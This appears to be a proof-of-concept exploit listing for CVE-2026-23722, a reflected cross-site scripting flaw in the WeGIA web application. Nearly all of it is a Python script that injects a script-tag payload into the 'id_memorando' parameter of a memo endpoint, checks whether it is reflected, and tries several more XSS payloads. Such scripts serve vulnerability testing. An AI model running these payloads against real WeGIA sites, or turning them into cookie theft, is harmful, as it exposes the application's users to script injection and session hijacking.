CVE-2026-23722 WeGIA 跨站脚本漏洞（XSS）

import requests # CVE-2026-23722 PoC - Reflected XSS in WeGIA # Target URL with vulnerable parameter target_url = "http://target-server/html/memorando/insere_despacho.php" # Malicious payload for XSS xss_payload = '<script>alert(document.cookie)</script>' # Construct exploit URL params = { 'id_memorando': xss_payload } # Send request response = requests.get(target_url, params=params) # Check if payload is reflected without encoding if xss_payload in response.text: print('[+] XSS Payload reflected - Vulnerability confirmed!') print(f'[+] Vulnerable URL: {response.url}') else: print('[-] Payload not reflected or filtered') # Additional payloads for testing test_payloads = [ "<img src=x onerror=alert(1)>", "<svg/onload=alert(document.domain)>", "javascript:alert(document.cookie)" ] for payload in test_payloads: test_params = {'id_memorando': payload} resp = requests.get(target_url, params=test_params) if payload in resp.text: print(f'[+] Payload works: {payload}')